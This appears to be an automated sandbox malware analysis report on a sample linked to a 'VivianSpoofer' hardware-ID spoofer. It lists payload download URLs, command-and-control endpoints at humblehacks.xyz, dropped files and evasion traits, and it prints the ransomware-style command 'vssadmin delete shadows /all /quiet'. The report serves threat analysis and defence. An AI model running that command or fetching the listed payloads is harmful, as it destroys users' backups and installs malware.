Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://th.symcb.com/th.crl0
Source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://th.symcb.com/th.crt0
Source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://th.symcd.com0&
Source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://www.sysinternals.com
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/723499233851736134/766737019376238642/amifldrv64.sys
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/723499233851736134/766737019376238642/amifldrv64.sysC:
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/723499233851736134/766737019405074472/AMIDEWINx64.EXE
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/723499233851736134/766737019405074472/AMIDEWINx64.EXEC:
Source: VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F058000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F24C000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F7CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000002.2884175315.0000000000477000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/
Source: VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F1EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=Ohttps://humblehacks.xyz/Aut.php?auth=10GC:
Source: ESCore.exe, 00000010.00000002.2884175315.000000000048D000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware8s
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=VivianwarePs
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=VivianwareR
Source: ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianwarec
Source: ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000002.2884175315.000000000044D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=10
Source: ESCore.exe, 00000010.00000002.2884175315.0000000000418000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000002.2884175315.0000000000477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=11
Source: ESCore.exe, 00000010.00000002.2884175315.0000000000477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=11&
Source: ESCore.exe, 00000010.00000002.2884175315.0000000000418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=11l
Source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=
Source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=&uuid=&auth=4&cc=user&req=crt&nd=https://humblehacks.xyz/A
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000002.2884175315.00000000004A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004A6000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000002.2884175315.000000000044D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Usernam
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/B~
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/F~
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/J~
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/N
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/N3
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/j
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862717131.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000010.00000003.2862848205.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/j~
Source: ESCore.exe, 00000010.00000002.2884175315.00000000004DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/p
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://humblehacks.xyz/patch/
Source: VivianSpoofer.exe, 0000000C.00000002.3910564041.000001F22F058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/patch/Vivian/patch.txt
Source: ESCore.exe, 00000010.00000002.2884175315.0000000000477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/u
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://www.GRC.com/inspectre.htmD
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.thawte.com/cps0/
Source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443

Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.5:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.5:49841 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Deletes shadow drive data (may be related to ransomware)

Source: aYu936prD4.exe, 00000000.00000000.2026487790.000002C2D75A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: EACM/C vssadmin delete shadows /all /quiet
Source: VivianSpoofer.exe, 0000000C.00000000.2617155969.000001F22D196000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: EACM/C vssadmin delete shadows /all /quiet
Source: aYu936prD4.exe	Binary or memory string: EACM/C vssadmin delete shadows /all /quiet
Source: UpdatePackage.dat.0.dr	Binary or memory string: EACM/C vssadmin delete shadows /all /quiet

System Summary

PE file contains section with special chars

Source: aYu936prD4.exe	Static PE information: section name: &-RmNmFv
Source: aYu936prD4.exe	Static PE information: section name: %x/1D?wT
Source: aYu936prD4.exe	Static PE information: section name: ?`jsa?kE
Source: aYu936prD4.exe	Static PE information: section name: Z-/\dJTH
Source: aYu936prD4.exe	Static PE information: section name: uIK@O>Dr
Source: ESCore.exe.0.dr	Static PE information: section name: ')6SX#X;
Source: ESCore.exe.0.dr	Static PE information: section name: j?XIoYBN
Source: ESCore.exe.0.dr	Static PE information: section name: 2X6/(dFr
Source: ESCore.exe.0.dr	Static PE information: section name: 'kq$.m0s
Source: ESCore.exe.0.dr	Static PE information: section name: w+,49HG'
Source: ESCore.exe.0.dr	Static PE information: section name: ^bu[leN@
Source: ESCore.exe.0.dr	Static PE information: section name: =COi:vZ4
Source: ESCore.exe.0.dr	Static PE information: section name: ,:.z0qA6
Source: UpdatePackage.dat.0.dr	Static PE information: section name: eQ*kK6u.
Source: UpdatePackage.dat.0.dr	Static PE information: section name: ;^zEH,>R
Source: UpdatePackage.dat.0.dr	Static PE information: section name: -!c>1D&Y
Source: UpdatePackage.dat.0.dr	Static PE information: section name: Dl:$]-l>
Source: UpdatePackage.dat.0.dr	Static PE information: section name: ,=9EfFRZ

Source: C:\Users\user\Desktop\aYu936prD4.exe

File created: C:\Windows\System32\ESCore.exe

Jump to behavior

Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2BE7D	12_2_00007FF848F2BE7D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F25522	12_2_00007FF848F25522
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F209E5	12_2_00007FF848F209E5
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2BC37	12_2_00007FF848F2BC37
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F23450	12_2_00007FF848F23450
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F23318	12_2_00007FF848F23318
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F21229	12_2_00007FF848F21229
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20A2D	12_2_00007FF848F20A2D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F21235	12_2_00007FF848F21235
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F26250	12_2_00007FF848F26250
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20A6D	12_2_00007FF848F20A6D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2126D	12_2_00007FF848F2126D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20A75	12_2_00007FF848F20A75
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20E85	12_2_00007FF848F20E85
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20E8D	12_2_00007FF848F20E8D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20E95	12_2_00007FF848F20E95
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F21297	12_2_00007FF848F21297
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F242A0	12_2_00007FF848F242A0
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F212AD	12_2_00007FF848F212AD
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F246C9	12_2_00007FF848F246C9
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F212CA	12_2_00007FF848F212CA
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20ACD	12_2_00007FF848F20ACD
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20EED	12_2_00007FF848F20EED
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F212F5	12_2_00007FF848F212F5
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F208F8	12_2_00007FF848F208F8
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2050D	12_2_00007FF848F2050D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F25D1B	12_2_00007FF848F25D1B
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F21125	12_2_00007FF848F21125
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F24549	12_2_00007FF848F24549
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2114D	12_2_00007FF848F2114D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F24960	12_2_00007FF848F24960
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20985	12_2_00007FF848F20985
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2098D	12_2_00007FF848F2098D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20DB5	12_2_00007FF848F20DB5
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F211C0	12_2_00007FF848F211C0
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2C5DD	12_2_00007FF848F2C5DD
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20DED	12_2_00007FF848F20DED
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F21435	12_2_00007FF848F21435
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F24837	12_2_00007FF848F24837
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20C3D	12_2_00007FF848F20C3D
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F21065	12_2_00007FF848F21065
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F23470	12_2_00007FF848F23470
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2C482	12_2_00007FF848F2C482
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F250DC	12_2_00007FF848F250DC
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F212FD	12_2_00007FF848F212FD
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F21325	12_2_00007FF848F21325
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2A327	12_2_00007FF848F2A327
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20738	12_2_00007FF848F20738
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20B38	12_2_00007FF848F20B38
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F21F4B	12_2_00007FF848F21F4B
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F2C385	12_2_00007FF848F2C385
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20B97	12_2_00007FF848F20B97
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F213CF	12_2_00007FF848F213CF
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF848F20FD3	12_2_00007FF848F20FD3
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Code function: 12_2_00007FF84904000A	12_2_00007FF84904000A

Source: aYu936prD4.exe, 00000000.00000000.2026487790.000002C2D75A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVivianSpoofer.exe< vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenameMAT.exe> vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenameUAStarter.exe4 vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenameUpdateEnforcer.exe> vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenamevolumeid.exeL vs aYu936prD4.exe
Source: aYu936prD4.exe	Binary or memory string: OriginalFilenameVivianSpoofer.exe< vs aYu936prD4.exe

Source: UpdatePackage.dat.0.dr	Binary string: \Device\MicroNT\Driver\TPM
Source: UpdatePackage.dat.0.dr	Binary string: \Device\Tcpip_
Source: UpdatePackage.dat.0.dr	Binary string: \Device\PhysicalMemory
Source: UpdatePackage.dat.0.dr	Binary string: \Device\RaidPort%d
Source: UpdatePackage.dat.0.dr	Binary string: \Device\genericdrv

Source: classification engine

Classification label: mal93.rans.troj.evad.winEXE@21/10@1/1

Source: C:\Users\user\Desktop\aYu936prD4.exe

File created: C:\Users\user\Desktop\Updater.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3752:120:WilError_03
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4092:120:WilError_03

Source: C:\Users\user\Desktop\aYu936prD4.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c Updater.bat

Source: aYu936prD4.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 44.32%

Source: C:\Users\user\Desktop\aYu936prD4.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

